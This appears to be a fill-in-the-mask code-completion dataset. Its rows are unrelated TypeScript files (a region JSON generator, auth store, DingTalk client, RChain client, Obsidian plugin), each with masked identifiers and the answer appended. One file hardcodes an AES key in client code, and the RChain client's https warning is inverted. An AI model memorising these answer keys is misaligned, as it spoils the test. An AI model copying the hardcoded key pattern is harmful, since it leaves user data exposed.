  const provincesJsonFilename = getStaticApiPath('provinces.json');
  console.log(`Writing ""provinces.json""...`);
  fs.writeFileSync(provincesJsonFilename, provincesJson);
  console.log(`Successfully wrote ""provinces.json"".`);

  console.log(`Writing ""province/*.json""...`);
  const provinceWorker: Promise<void>[] = [];
  for(const province of provinces) {
    if(provinceWorker.length >= WORKER_COUNT){
      await Promise.all(provinceWorker);
      provinceWorker.length = 0;
    }
    const provinceJsonFilename = getStaticApiPath(`province/${province.id}.json`);
    const worker = new Promise<void>((resolve, reject) => {
      const provinceFiltered = provinces.find((_province) => province.id === _province.id);
      fs.writeFile(provinceJsonFilename, JSON.stringify(provinceFiltered), (err) => {
        if(err){
          console.log(`Error writing ""province/${province.id}.json""!`, err);
          reject();
        } else {
          resolve();
        }
      });
    });
    provinceWorker.push(worker);
  }
  await Promise.all(provinceWorker);
  console.log(`Successfully wrote ""province/*.json"".`);

  console.log(`Writing ""regencies/*.json""...`);
  const regenciesWorker: Promise<void>[] = [];
  for(const province of provinces) {
    if(regenciesWorker.length >= WORKER_COUNT){
      await Promise.all(regenciesWorker);
      regenciesWorker.length = 0;
    }
    const regenciesJsonFilename = getStaticApiPath(`regencies/${province.id}.json`);
    const regenciesFiltered = regencies.filter((regency) => regency.province_id === province.id);
    const worker = new Promise<void>((resolve, reject) => {
      fs.writeFile(regenciesJsonFilename, JSON.stringify(regenciesFiltered), (err) => {
        if(err){
          console.log(`Error writing ""regencies/${province.id}.json""!`, err);
          reject();
        } else {
          resolve();
        }
      });
    });
    regenciesWorker.push(worker);
  }
  await Promise.all(regenciesWorker);
  console.log(`Successfully wrote ""regencies/*.json"".`);
  
  console.log(`Writing ""regency/*.json""...`);
  const regencyWorker: Promise<void>[] = [];
  for(const regency of regencies) {
    if(regencyWorker.length >= WORKER_COUNT){
      await Promise.all(regencyWorker);
      regencyWorker.length = 0;
    }
    const regencyJsonFilename = getStaticApiPath(`regency/${regency.id}.json`);
    const worker = new Promise<void>((resolve, reject) => {
      const regencyFiltered = regencies.find((_regency) => regency.id === _regency.id);
      fs.writeFile(regencyJsonFilename, JSON.stringify(regencyFiltered), (err) => {
        if(err){
          console.log(`Error writing ""regency/${regency.id}.json""!`, err);
          reject();
        } else {
          resolve();
        }
      });
    });
    regencyWorker.push(worker);
  }
  await Promise.all(regencyWorker);
  console.log(`Successfully wrote ""regency/*.json"".`);
  
  console.log(`Writing ""districts/*.json""...`);
  const districtsWorker: Promise<void>[] = [];
  for(const regency of regencies) {
    if(districtsWorker.length >= WORKER_COUNT){
      await Promise.all(districtsWorker);
      districtsWorker.length = 0;
    }
    const districtsJsonFilename = getStaticApiPath(`districts/${regency.id}.json`);
    const districtsFiltered = districts.filter((district) => district.regency_id === regency.id);
    const worker = new Promise<void>((resolve, reject) => {
      fs.writeFile(districtsJsonFilename, JSON.stringify(districtsFiltered), (err) => {
        if(err){
          console.log(`Error writing ""districts/${regency.id}.json""!`, err);
          reject();
        } else {
          resolve();
        }
      });
    });
    districtsWorker.push(worker);
  }
  await Promise.all(districtsWorker);
  console.log(`Successfully wrote ""districts/*.json"".`);
  
  console.log(`Writing ""district/*.json""...`);
  const districtWorker: Promise<void>[] = [];
  for(const district of districts) {
    if(districtWorker.length >= WORKER_COUNT){
      await Promise.all(districtWorker);
      districtWorker.length = 0;
    }
    const districtJsonFilename = getStaticApiPath(`district/${district.id}.json`);
    const worker = new Promise<void>((resolve, reject) => {
      const districtFiltered = districts.find((_district) => district.id === _district.id);
      fs.writeFile(districtJsonFilename, JSON.stringify(districtFiltered), (err) => {
        if(err){
          console.log(`Error writing ""district/${district.id}.json""!`, err);
          reject();
        } else {
          resolve();
        }
      });
    });
    districtWorker.push(worker);
  }
  await Promise.all(districtWorker);
  console.log(`Successfully wrote ""district/*.json"".`);
  
  console.log(`Writing ""villages/*.json""...`);
  const  [MASK] : Promise<void>[] = [];
  for(const district of districts) {
    if( [MASK] .length >= WORKER_COUNT){
      await Promise.all( [MASK] );
       [MASK] .length = 0;
    }
    const villagesJsonFilename = getStaticApiPath(`villages/${district.id}.json`);
    const villagesFiltered = villages.filter((village) => village.district_id === district.id);
    const worker = new Promise<void>((resolve, reject) => {
      fs.writeFile(villagesJsonFilename, JSON.stringify(villagesFiltered), (err) => {
        if(err){
          console.log(`Error writing ""villages/${district.id}.json""!`, err);
          reject();
        } else {
          resolve();
        }
      });
    });
     [MASK] .push(worker);
  }
  await Promise.all( [MASK] );
  console.log(`Successfully wrote ""villages/*.json"".`);

  console.log(`Writing ""village/*.json""...`);
  const villageWorker: Promise<void>[] = [];
  for(const village of villages) {
    if(villageWorker.length >= WORKER_COUNT){
      await Promise.all(villageWorker);
      villageWorker.length = 0;
    }
    const villageJsonFilename = getStaticApiPath(`village/${village.id}.json`);
    const worker = new Promise<void>((resolve, reject) => {
      const villageFiltered = villages.find((_village) => village.id === _village.id);
      fs.writeFile(villageJsonFilename, JSON.stringify(villageFiltered), (err) => {
        if(err){
          console.log(`Error writing ""village/${village.id}.json""!`, err);
          reject();
        } else {
          resolve();
        }
      });
    });
    villageWorker.push(worker);
  }
  await Promise.all(villageWorker);
  console.log(`Successfully wrote ""village/*.json"".`);

  console.log(``);
  console.log(`Done writing files!`);
}

main();
",villagesWorker
920,"import { defineStore } from ""pinia"";
import { useToast } from ""primevue/usetoast"";

export const useAuthStore = defineStore(""authStore"", () => {
  const currentUser = ref(null);
  const isAuthorized = ref(true);

  function setCurrentUser( [MASK] ) {
    currentUser.value =  [MASK] ;
    isAuthorized.value = true;
  }

  function setUnauthorized() {
    currentUser.value = null;
    isAuthorized.value = false;
  }

  function setAuthorized() {
    isAuthorized.value = true;
  }

  const toast = useToast();

  async function login(email: string, password: string) {
    try {
      await $fetch(""/auth/login"", {
        method: ""POST"",
        body: { email, password },
      });

      setAuthorized();

      return navigateTo(""/"");
    } catch (error) {
      toast.add({
        severity: ""error"",
        summary: ""Error"",
        detail: error?.data?.error?.message || ""Something went wrong"",
      });
    }
  }

  async function logout() {
    await $fetch(""/auth/logout"", {
      method: ""POST"",
    });

    setUnauthorized();

    return navigateTo(""/login"");
  }

  return {
    currentUser,
    isAuthorized,
    setCurrentUser,
    setUnauthorized,
    setAuthorized,
    login,
    logout,
  };
});
",user
921,"import { type APIPromise, multipartFormRequestOptions, type RequestOptions, type Uploadable } from '@zhengxs/http';

import { APIResource } from '../resource';

export class Files extends APIResource {
  /**
   * 上传媒体文件
   *
   * https://open.dingtalk.com/document/orgapp/upload-media-files
   */
  create(body: FileCreateParams, options?: RequestOptions): APIPromise<FileObject> {
    const client = this._client;

    const  [MASK]  = client.getTokenValue().then(access_token => {
      return multipartFormRequestOptions({
        query: { access_token },
        body: body,
        duplex: 'half',
        ...options,
      });
    });

    return client.post('https://oapi.dingtalk.com/media/upload',  [MASK] );
  }
}

export type FileCreateParams = Files.FileCreateParams;

export type FileObject = Files.FileObject;

export namespace Files {
  export interface FileCreateParams {
    /**
     * 媒体文件类型
     *
     * - image：图片，图片最大20MB。支持上传jpg、gif、png、bmp格式。
     * - voice：语音，语音文件最大2MB。支持上传amr、mp3、wav格式。
     * - video：视频，视频最大20MB。支持上传mp4格式。
     * - file：普通文件，最大20MB。支持上传doc、docx、xls、xlsx、ppt、pptx、zip、pdf、rar格式。
     *
     * See [Body参数](https://open.dingtalk.com/document/orgapp/upload-media-files#h2-xg2-l8o-066)
     */
    type: 'image' | 'voice' | 'video' | 'file';

    /**
     * 需要上传的文件对象
     */
    media: Uploadable;
  }

  /**
   * 上传后返回的文件对象
   */
  export interface FileObject {
    /**
     * 媒体文件类型
     */
    type: 'image' | 'voice' | 'video' | 'file';

    /**
     * 媒体文件上传后获取的唯一标识
     */
    media_id: string;

    /**
     * 媒体文件上传时间戳
     *
     * 单位：毫秒
     */
    created_at: number;
  }
}
",init
922,"import { Injectable} from ""@angular/core"";
import { User } from ""../User/User"";
import { CookieService } from ""ngx-cookie-service"";
import CryptoJS from ""crypto-js"";


@Injectable({
  providedIn: 'root'
})


export class getUser{
    public static user:User = new User("""","""",-1,"""","""","""","""","""",false,false,"""",false);


    public static get():User{
        const  [MASK]  = sessionStorage.getItem(""User"");
        if ( [MASK] ) {
            const token = ""c(j:iGBE)2RKae3OfxaT[4WG7By9'+m{e?)mfc3ez7Td9/RiT@"";
            const decryptedBytes = CryptoJS.AES.decrypt( [MASK] , token);
            const decryptedData = decryptedBytes.toString(CryptoJS.enc.Utf8);
            this.user = JSON.parse(decryptedData);
        } else {
            this.user = new User("""","""",-1,"""","""","""","""","""",false,false,"""",false);
            console.log(""sessionStorage is empty :("");
        }

        var reconstructedUserClass = new User("""","""",-1,"""","""","""","""","""",false,false,"""",false);
        reconstructedUserClass.updateObject(this.user);
        reconstructedUserClass.points = this.user.points;
        

        return reconstructedUserClass;
    }
}
",encryptedValue
923,"import {
  createRequestAction,
  createSagaFetcher,
  isFetchFailure,
  isFetching,
  isFetchSuccess,
  selectPayload,
  selectErrorPayload,
  hasFetchFailures,
  selectErrorPayloads,
  State,
  StateItem,
} from './index'
import { AnyAction, applyMiddleware, combineReducers, createStore } from 'redux'
import createSagaMiddleware from 'redux-saga'

const internalServerError = new Error('Internal server error')

const delay = (time: number) =>
  new Promise((resolve: any) => setTimeout(resolve, time))

describe('createRegistry', () => {
  it('should throw an error when an invalid registry is given', () => {
    expect(() =>
      createSagaFetcher(<any>{
        foo: 'bar',
      })
    ).toThrow()
  })

  it('should throw an error when the registry is not an object but a string', () => {
    expect(() => createSagaFetcher(<any>'foo')).toThrow()
  })

  it('should throw an error when the registry is not an object but an array', () => {
    expect(() => createSagaFetcher(<any>['foo'])).toThrow()
  })
})

describe('The public api of redux-saga-fetch', () => {
  const initialState: {
    testKey: string
    reduxSagaFetch: { [key: string]: StateItem }
  } = { testKey: 'testValue', reduxSagaFetch: {} }

  const registry = createSagaFetcher<typeof initialState>({
    serverError: {
      fetcher: id => delay(50).then(() => Promise.reject(internalServerError)),
    },
    success: { fetcher: id => delay(50).then(() => ({ foo: 'bar', id })) },
    successWithoutContent: { fetcher: () => delay(50) },
    expectsState: {
      fetcher: (payload, testValue) =>
        delay(50).then(() => Promise.resolve(testValue)),
      selector: (state: any) => state.testKey,
    },
  })
  const rootReducer = combineReducers(
    registry.wrapRootReducer({ testKey: () => initialState.testKey })
  )

  const sagaMiddleware = createSagaMiddleware()
  const store = createStore<
    { testKey: string; reduxSagaFetch: { [key: string]: StateItem } },
    AnyAction,
    {},
    {}
  >(rootReducer, initialState, applyMiddleware(sagaMiddleware))

  sagaMiddleware.run(registry.createRootSaga())

  const testCases = [
    {
      key: 'success',
      actionPayload: 'foo',
      expectedPayload: { foo: 'bar', id: 'foo' },
      expectedError: false,
    },
    {
      key: 'successWithoutContent',
      actionPayload: undefined,
      expectedPayload: undefined,
      expectedError: false,
    },
    {
      key: 'expectsState',
      actionPayload: undefined,
      expectedPayload: initialState.testKey,
      expectedError: false,
    },
    // Failures must be after successes for the hasFetchFailures tests to pass
    {
      key: 'serverError',
      actionPayload: undefined,
      expectedPayload: internalServerError,
      expectedError: true,
    },
  ]

  testCases.forEach((testCase,  [MASK] ) => {
    console.log(<State>store.getState())
    describe(`performing test case ${ [MASK] }`, () => {
      beforeAll(() => {
        store.dispatch(
          createRequestAction(testCase.key)(testCase.actionPayload)
        )
      })

      it('should show that the status is fetching', async () => {
        await delay(1)
        expect(isFetching(testCase.key)(<State>store.getState())).toBeTruthy()
      })

      it('should show that the status is done', async () => {
        await delay(55)
        expect(isFetching(testCase.key)(<State>store.getState())).toBeFalsy()
        expect(isFetchFailure(testCase.key)(<State>store.getState())).toEqual(
          testCase.expectedError
        )
        expect(hasFetchFailures(<State>store.getState())).toEqual(
          testCase.expectedError
        )
        expect(isFetchSuccess(testCase.key)(<State>store.getState())).toEqual(
          !testCase.expectedError
        )
        if (testCase.expectedError) {
          expect(
            selectErrorPayload(testCase.key)(<State>store.getState())
          ).toEqual(testCase.expectedPayload)
          expect(selectErrorPayloads(<State>store.getState())[0].error).toEqual(
            testCase.expectedPayload
          )
          expect(
            selectPayload(testCase.key)(<State>store.getState())
          ).toBeUndefined()
        } else {
          expect(selectPayload(testCase.key)(<State>store.getState())).toEqual(
            testCase.expectedPayload
          )
          expect(
            selectErrorPayload(testCase.key)(<State>store.getState())
          ).toBeUndefined()
          expect(selectErrorPayloads(<State>store.getState()).length).toEqual(0)
        }
      })
    })
  })

  it('grouping of requests works', async () => {
    const group = 'group'

    const registry = createSagaFetcher({
      request1: {
        fetcher: () => delay(50).then(() => Promise.resolve('')),
        group,
      },
      request2: {
        fetcher: () => delay(10).then(() => Promise.resolve('')),
        group,
      },
    })

    const request1 = createRequestAction('request1')
    const request2 = createRequestAction('request2')

    const rootReducer = combineReducers(registry.wrapRootReducer())

    const initialState = {}
    const sagaMiddleware = createSagaMiddleware()
    const store = createStore(
      rootReducer,
      initialState,
      applyMiddleware(sagaMiddleware)
    )

    sagaMiddleware.run(registry.createRootSaga())

    const expectFetching = (r1: any, r2: any) => {
      expect(isFetching('request1')(<State>store.getState())).toBe(r1)
      expect(isFetching('request2')(<State>store.getState())).toBe(r2)
    }

    const expectSuccess = (r1: any, r2: any) => {
      expect(isFetchSuccess('request1')(<State>store.getState())).toBe(r1)
      expect(isFetchSuccess('request2')(<State>store.getState())).toBe(r2)
    }

    store.dispatch(request1())
    store.dispatch(request2())

    expectFetching(true, true)
    expectSuccess(false, false)

    await delay(55)
    expectFetching(false, true)
    expectSuccess(true, false)

    await delay(10)
    expectFetching(false, false)
    expectSuccess(true, true)
  })
})
",testIndex
924,"import { rhoValToJs } from ""rchain-toolkit/src/utils/rhoValToJs"";
import { rhoExprToVar } from ""rchain-toolkit/src/utils/rhoExprToVar"";
import { decodePar } from ""rchain-toolkit/src/utils/decodeParBrowser"";
import { getDeployDataToSign } from ""rchain-toolkit/src/utils/getDeployDataToSignBrowser"";

const decodeBase16 = (hexStr) => {
  const removed0x = hexStr.replace(/^0x/, """");
  const byte2hex = ([arr, bhi], x) =>
    bhi ? [[...arr, parseInt(`${bhi}${x}`, 16)]] : [arr, x];
  const [resArr] = Array.from(removed0x).reduce(byte2hex, [[]]);
  return Uint8Array.from(resArr);
};

const encodeBase16 = (bytes) =>
  Array.from(bytes)
    .map((x) => (x & 0xff).toString(16).padStart(2, 0))
    .join("""");

// ==============
// Deploy
// ==============

export interface DeployData {
  timestamp: number;
  term: string;
  phloPrice: number;
  phloLimit: number;
  validAfterBlockNumber: number;
}

export interface DeployOptions {
  data: DeployData;
  deployer: string;
  signature: string;
  sigAlgorithm: ""secp256k1"";
}
export interface DeployResponse {
  names: string[];
  blockNumber: number;
}

// ==============
// Exploratory deploy
// ==============

export interface ExploreDeployOptions {
  term: string;
}
export interface ExploreDeployResponse {
  names: string[];
  blockNumber: number;
}
// ==============
// Blocks by position
// ==============

export interface BlocksOptions {
  position: number;
}
export interface BlocksResponse {
  blocks: LightBlockInfo[];
}

// ==============
// PrepareDeploy
// ==============

export interface PrepareDeployOptions {
  deployer: string;
  timestamp: number;
  nameQty: number;
}
export interface PrepareDeployResponse {
  names: string[];
  blockNumber: number;
}

// data-at-name
type NameType = ""UnforgPrivate"" | ""UnforgDeploy"" | ""UnforgDeployer"";
export interface DataAtNameOptions {
  name: {
    [nameType: string]: {
      data: string;
    };
  };
  depth: number;
}

export interface DataAtNameReponse {
  exprs: {
    expr: { [type: string]: { data: any } };
    block: { blockHash: string; blockNumber: number };
  }[];
  blockNumber: number;
}

export default {
  utils: {
    rhoValToJs: rhoValToJs,
    rhoExprToVar: rhoExprToVar,
    decodePar: decodePar,
    getDeployDataToSign: getDeployDataToSign,
    decodeBase16: decodeBase16,
    encodeBase16: encodeBase16,
  },
  http: function (config: { readOnlyHost: string; validatorHost: string }) {
    if (!config.readOnlyHost) {
      throw new Error(""Please provide 1st argument readOnlyHost"");
    }
    if (config.readOnlyHost.startsWith(""https"")) {
      console.log(""warning: readOnlyHost does not start with https"");
    }
    if (!config.validatorHost) {
      throw new Error(""Please provide 1st argument validatorHost"");
    }
    if (config.validatorHost.startsWith(""https"")) {
      console.log(""warning: validatorHost does not start with https"");
    }
    this.readOnlyHost = config.readOnlyHost;
    this.validatorHost = config.validatorHost;

    // ==============
    // Deploy
    // ==============

    this.deploy = async (
      options: DeployOptions,
      timeout: undefined | number = undefined
    ): Promise<string | DataAtNameReponse> => {
      let pd: undefined | PrepareDeployResponse = undefined;
      if (typeof timeout === ""number"") {
        pd = await this.prepareDeploy({
          deployer: options.deployer,
          timestamp: options.data.timestamp,
          nameQty: 1,
        });
      }

      return new Promise((resolve, reject) => {
        const req = new XMLHttpRequest();
        req.open(""POST"", this.validatorHost + ""/api/deploy"", true);
        req.setRequestHeader(""Content-type"", ""application/json"");

        req.onreadystatechange = () => {
          //Call a function when the state changes.
          if (req.readyState == 4) {
            if (req.readyState === 4) {
              if (req.status === 200) {
                try {
                  const b = req.responseText;
                  if (typeof timeout === ""number"") {
                    let s = new Date().getTime();
                    let ongoning = false;
                    const interval = setInterval(async () => {
                      if (ongoning) {
                        return;
                      }
                      ongoning = true;
                      if (new Date().getTime() - timeout > s) {
                        clearInterval(interval);
                        reject(""TIMEOUT"");
                      }
                      const dan = await this.dataAtName({
                        name: {
                          UnforgPrivate: { data: pd.names[0] },
                        },
                        depth: 3,
                      });
                      if (dan && dan.exprs && dan.exprs.length) {
                        resolve(dan);
                        clearInterval(interval);
                      }
                      ongoning = false;
                    }, 8000);
                  } else {
                    resolve(b);
                  }
                } catch (err) {
                  reject(err);
                }
              } else {
                reject(req.responseText);
              }
            }
          }
        };
        req.send(JSON.stringify(options));
      });
    };

    // ==============
    // Valid after block number
    // ==============

    this.validAfterBlockNumber = async (): Promise<number> => {
      const validAfterBlockNumberResponse = (
        await this.blocks({
          position: 1,
        })
      )[0].blockNumber;
      return validAfterBlockNumberResponse;
    };

    // ==============
    // Exploratory deploy
    // ==============

    this.exploreDeploy = (options: ExploreDeployOptions): Promise<any> => {
      return new Promise((resolve, reject) => {
        const req = new XMLHttpRequest();
        req.open(""POST"", this.readOnlyHost + ""/api/explore-deploy"", true);
        req.setRequestHeader(""Content-type"", ""application/json"");
        req.onreadystatechange = () => {
          if (req.readyState === 4) {
            if (req.status === 200) {
              try {
                resolve(JSON.parse(req.responseText));
              } catch (err) {
                reject(err);
              }
            } else {
              reject(req.responseText);
            }
          }
        };
        req.send(options.term);
      });
    };

    this.exploreDeploys = ( [MASK] : string[]) => {
      return Promise.all( [MASK] .map((t) => this.exploreDeploy({ term: t })));
    };

    // ==============
    // Blocks by position
    // ==============

    this.blocks = (options: BlocksOptions): Promise<any> => {
      return new Promise((resolve, reject) => {
        const req = new XMLHttpRequest();
        req.open(
          ""GET"",
          this.readOnlyHost + ""/api/blocks/"" + options.position,
          true
        );
        req.setRequestHeader(""Content-type"", ""application/json"");
        req.onreadystatechange = () => {
          if (req.readyState === 4) {
            if (req.status === 200) {
              try {
                resolve(JSON.parse(req.responseText));
              } catch (err) {
                reject(err);
              }
            } else {
              reject(req.responseText);
            }
          }
        };
        req.send();
      });
    };

    // ==============
    // DataAtName
    // ==============
    this.dataAtName = (
      options: DataAtNameOptions
    ): Promise<DataAtNameReponse> => {
      return new Promise((resolve, reject) => {
        const req = new XMLHttpRequest();
        req.open(""POST"", this.readOnlyHost + ""/api/data-at-name"", true);
        req.setRequestHeader(""Content-type"", ""application/json"");
        req.onreadystatechange = () => {
          if (req.readyState === 4) {
            if (req.status === 200) {
              try {
                resolve(JSON.parse(req.responseText));
              } catch (err) {
                reject(err);
              }
            } else {
              reject(req.responseText);
            }
          }
        };
        req.send(JSON.stringify(options));
      });
    };

    // ==============
    // PrepareDeploy
    // ==============
    this.prepareDeploy = (
      options: PrepareDeployOptions
    ): Promise<PrepareDeployResponse> => {
      return new Promise((resolve, reject) => {
        const req = new XMLHttpRequest();
        req.open(""POST"", this.readOnlyHost + ""/api/prepare-deploy"", true);
        req.setRequestHeader(""Content-type"", ""application/json"");
        req.onreadystatechange = () => {
          if (req.readyState === 4) {
            if (req.status === 200) {
              try {
                resolve(JSON.parse(req.responseText));
              } catch (err) {
                reject(err);
              }
            } else {
              reject(req.responseText);
            }
          }
        };
        req.send(JSON.stringify(options));
      });
    };
  },
};
",terms
925,"import { 
	App, 
	TFolder,
	Plugin, 
	PluginSettingTab, 
	Setting, 
	TAbstractFile, 
	TFile,
	WorkspaceLeaf,
	normalizePath,
	Notice,
	Menu,
	ViewState
} from 'obsidian';

// 不再使用固定文件名，而是动态获取

interface FileExplorer {
	onClick: (event: MouseEvent, file: TAbstractFile) => void;
	filter: (file: TAbstractFile) => boolean;
	requestSort?: () => void;
	requestFilter?: () => void;
	refresh?: () => void;
	view?: any;
	[key: string]: any; // 允许任何其他可能的属性
}

export default class FolderNotePlugin extends Plugin {
	folderNoteMap: Map<string, TFile> = new Map();

	async onload() {
		// 注册说明选项卡
		this.addSettingTab(new FolderNoteInfoTab(this.app, this));
		
		// 添加命令
		this.addCommand({
			id: 'create-folder-note',
			name: '为当前文件夹创建文件夹笔记',
			checkCallback: (checking: boolean) => {
				// 获取当前活动文件
				const activeFile = this.app.workspace.getActiveFile();
				if (!activeFile) return false;
				
				// 获取当前文件所在的文件夹
				const parentFolder = activeFile.parent;
				if (!parentFolder) return false;
				
				// 如果只是检查命令可用性
				if (checking) return true;
				
				// 创建文件夹笔记
				this.createFolderNote(parentFolder);
				return true;
			}
		});
		
		// 监听文件系统事件
		this.registerEvent(
			this.app.vault.on('create', (file: TAbstractFile) => this.handleFileCreation(file))
		);
		
		this.registerEvent(
			this.app.vault.on('delete', (file: TAbstractFile) => this.handleFileDeletion(file))
		);

		this.registerEvent(
			this.app.vault.on('rename', (file: TAbstractFile, oldPath: string) => this.handleFileRename(file, oldPath))
		);

		// 拦截文件浏览器的点击事件
		this.registerEvent(
			this.app.workspace.on('file-menu', (menu: Menu, file: TAbstractFile) => {
				if (file instanceof TFolder) {
					menu.addItem((item) => {
						item
							.setTitle(""创建文件夹笔记"")
							.setIcon(""document"")
							.onClick(async () => {
								await this.createFolderNote(file);
							});
					});
				}
			})
		);

		// 处理文件浏览器中的文件夹点击事件
		this.app.workspace.onLayoutReady(() => {
			// 延迟一下，确保文件浏览器已经加载
			setTimeout(() => {
				this.patchFileExplorer();
				this.indexExistingFolderNotes();
			}, 500);
		});
	}

	// 获取文件夹笔记的文件名
	getFolderNoteName(folder: TFolder): string {
		return `${folder.name}.md`;
	}

	// 索引现有的文件夹笔记
	async indexExistingFolderNotes() {
		const files = this.app.vault.getMarkdownFiles();
		for (const file of files) {
			// 获取文件所在的文件夹
			const parentFolder = file.parent;
			if (parentFolder) {
				// 检查文件名是否与文件夹名称匹配
				const expectedNoteName = this.getFolderNoteName(parentFolder);
				if (file.name === expectedNoteName) {
					this.folderNoteMap.set(parentFolder.path, file);
					this.markFolderWithNote(parentFolder);
				}
			}
		}
	}

	// 为有笔记的文件夹添加标识
	markFolderWithNote(folder: TFolder) {
		try {
			// 延迟执行，确保 DOM 已经渲染
			setTimeout(() => {
				// 尝试找到文件夹的 DOM 元素
				const folderEl = document.querySelector(`.nav-folder-title[data-path=""${folder.path}""]`);
				if (!folderEl) return;
				
				// 检查是否已经添加了图标
				if (folderEl.querySelector('.folder-note-icon')) return;
				
				// 创建图标元素
				const iconEl = document.createElement('div');
				iconEl.addClass('folder-note-icon');
				iconEl.setAttribute('aria-label', '打开文件夹笔记');
				iconEl.innerHTML = `<svg viewBox=""0 0 100 100"" width=""14"" height=""14"" class=""document"">
					<path fill=""currentColor"" stroke=""currentColor"" d=""M14,4v92h72V29.2l-0.6-0.6l-24-24L60.8,4H14z M18,8h40v24h24v60H18V8z M62,10.9L79.1,28H62V10.9z""></path>
				</svg>`;
				
				// 添加点击事件
				iconEl.addEventListener('click', async (e: MouseEvent) => {
					e.preventDefault();
					e.stopPropagation();
					
					// 获取对应的文件夹笔记
					const folderNote = this.getFolderNoteForFolder(folder);
					if (folderNote) {
						// 打开文件夹笔记
						await this.openFolderNote(folderNote);
					} else {
						// 如果不存在笔记，询问是否创建
						const create = confirm(`是否为 ""${folder.name}"" 文件夹创建笔记？`);
						if (create) {
							await this.createFolderNote(folder);
						}
					}
				});
				
				// 将图标添加到文件夹标题元素中
				folderEl.appendChild(iconEl);
				
				// 添加样式类，用于CSS样式
				folderEl.addClass('has-folder-note');
			}, 100);
		} catch (error) {
			console.error('标记文件夹失败', error);
		}
	}

	// 使用 CSS 来隐藏文件夹笔记和设置文件夹笔记图标样式
	hideFolderNotesWithCSS() {
		try {
			// 创建一个样式元素
			const styleEl = document.createElement('style');
			styleEl.id = 'folder-note-style';
			
			// 添加基本样式和图标样式
			const baseStyles = `
				/* 隐藏文件夹笔记 */
				.has-folder-note {
					position: relative;
				}
				
				/* 文件夹笔记图标样式 */
				.folder-note-icon {
					position: absolute;
					right: 8px;
					top: 50%;
					transform: translateY(-50%);
					cursor: pointer;
					opacity: 0.7;
					display: flex;
					align-items: center;
					justify-content: center;
					width: 16px;
					height: 16px;
					border-radius: 3px;
				}
			`;
			
			styleEl.textContent = baseStyles;
			
			// 使用 CSS 选择器匹配所有可能的文件夹笔记
			// 这里需要一个复杂的选择器，因为我们无法预先知道所有文件夹名称
			// 我们可以让插件监听文件系统变化来动态更新这个样式
			
			// 初始化样式
			this.updateHiddenNotesStyle(styleEl);
			
			document.head.appendChild(styleEl);
			
			// 保存引用以便在插件卸载时移除
			this.registerDomEvent(window, 'unload', () => {
				styleEl.remove();
			});
		} catch (error) {
			console.error('创建隐藏样式失败', error);
		}
	}
	
	// 更新隐藏笔记的样式
	updateHiddenNotesStyle(styleEl: HTMLStyleElement) {
		// 获取所有文件夹
		const folders = this.app.vault.getAllLoadedFiles()
			.filter(file => file instanceof TFolder) as TFolder[];
		
		// 构建 CSS 选择器
		let cssRules = [];
		for (const folder of folders) {
			const noteName = this.getFolderNoteName(folder);
			const notePath = `${folder.path}/${noteName}`;
			cssRules.push(`.nav-file-title[data-path=""${notePath}""]`);
		}
		
		// 如果有匹配的规则，添加到样式表
		if (cssRules.length > 0) {
			// 保留基本样式
			const baseStyles = styleEl.textContent || '';
			
			// 添加隐藏规则
			const hideRules = `
				${cssRules.join(',\n')} {
					display: none !important;
				}
			`;
			
			styleEl.textContent = baseStyles + hideRules;
		}
	}

	// 获取文件夹的笔记
	getFolderNoteForFolder(folder: TFolder): TFile | null {
		const folderNote = this.folderNoteMap.get(folder.path);
		if (folderNote) return folderNote;

		// 获取期望的笔记文件名
		const noteName = this.getFolderNoteName(folder);
		
		// 检查是否存在同名笔记
		const noteFilePath = normalizePath(`${folder.path}/${noteName}`);
		const file = this.app.vault.getAbstractFileByPath(noteFilePath);
		
		if (file instanceof TFile) {
			this.folderNoteMap.set(folder.path, file);
			return file;
		}
		
		return null;
	}

	// 打开文件夹笔记
	async openFolderNote(file: TFile) {
		// 获取主编辑区当前活跃的标签页
		const leaves = this.app.workspace.getLeavesOfType('markdown');
		const activeLeaf = this.app.workspace.activeLeaf;
		
		// 优先在主编辑区的当前活跃标签页中打开
		let targetLeaf: WorkspaceLeaf | null = null;
		
		// 检查是否存在主编辑区的标签页
		if (leaves.length > 0) {
			// 优先使用当前活跃的主编辑区标签页
			if (activeLeaf && leaves.contains(activeLeaf)) {
				targetLeaf = activeLeaf;
			} else {
				// 否则使用找到的第一个标签页
				targetLeaf = leaves[0];
			}
		}
		
		// 如果没有找到合适的标签页，则创建一个新的
		if (!targetLeaf) {
			targetLeaf = this.app.workspace.getLeaf(true);
		}
		
		// 打开文件
		if (targetLeaf) {
			await targetLeaf.openFile(file);
		}
	}

	// 创建文件夹笔记
	async createFolderNote(folder: TFolder) {
		// 检查是否已存在
		const existingNote = this.getFolderNoteForFolder(folder);
		if (existingNote) {
			new Notice('文件夹笔记已存在');
			this.openFolderNote(existingNote);
			return;
		}

		// 创建空内容
		const content = '';

		// 获取笔记文件名
		const noteName = this.getFolderNoteName(folder);
		
		// 创建笔记文件
		const filePath = normalizePath(`${folder.path}/${noteName}`);
		
		try {
			const file = await this.app.vault.create(filePath, content);
			this.folderNoteMap.set(folder.path, file);
			this.markFolderWithNote(folder);
			
			// 更新隐藏样式
			const styleEl = document.getElementById('folder-note-style') as HTMLStyleElement;
			if (styleEl) {
				this.updateHiddenNotesStyle(styleEl);
			}
			
			this.openFolderNote(file);
		} catch (error) {
			console.error('创建文件夹笔记失败', error);
			new Notice('创建文件夹笔记失败');
		}
	}

	// 处理文件创建事件
	handleFileCreation(file: TAbstractFile) {
		if (file instanceof TFile) {
			const parentFolder = file.parent;
			if (parentFolder) {
				// 检查文件名是否与文件夹名称匹配
				const expectedNoteName = this.getFolderNoteName(parentFolder);
				if (file.name === expectedNoteName) {
					this.folderNoteMap.set(parentFolder.path, file);
					this.markFolderWithNote(parentFolder);
					
					// 更新隐藏样式
					const styleEl = document.getElementById('folder-note-style') as HTMLStyleElement;
					if (styleEl) {
						this.updateHiddenNotesStyle(styleEl);
					}
				}
			}
		}
	}

	// 处理文件删除事件
	handleFileDeletion(file: TAbstractFile) {
		if (file instanceof TFile) {
			const parentFolder = file.parent;
			if (parentFolder) {
				// 检查文件名是否与文件夹名称匹配
				const expectedNoteName = this.getFolderNoteName(parentFolder);
				if (file.name === expectedNoteName) {
					this.folderNoteMap.delete(parentFolder.path);
					
					// 更新隐藏样式
					const styleEl = document.getElementById('folder-note-style') as HTMLStyleElement;
					if (styleEl) {
						this.updateHiddenNotesStyle(styleEl);
					}
				}
			}
		}
	}

	// 处理文件重命名事件
	handleFileRename(file: TAbstractFile, oldPath: string) {
		if (file instanceof TFolder) {
			// 文件夹被重命名，更新映射
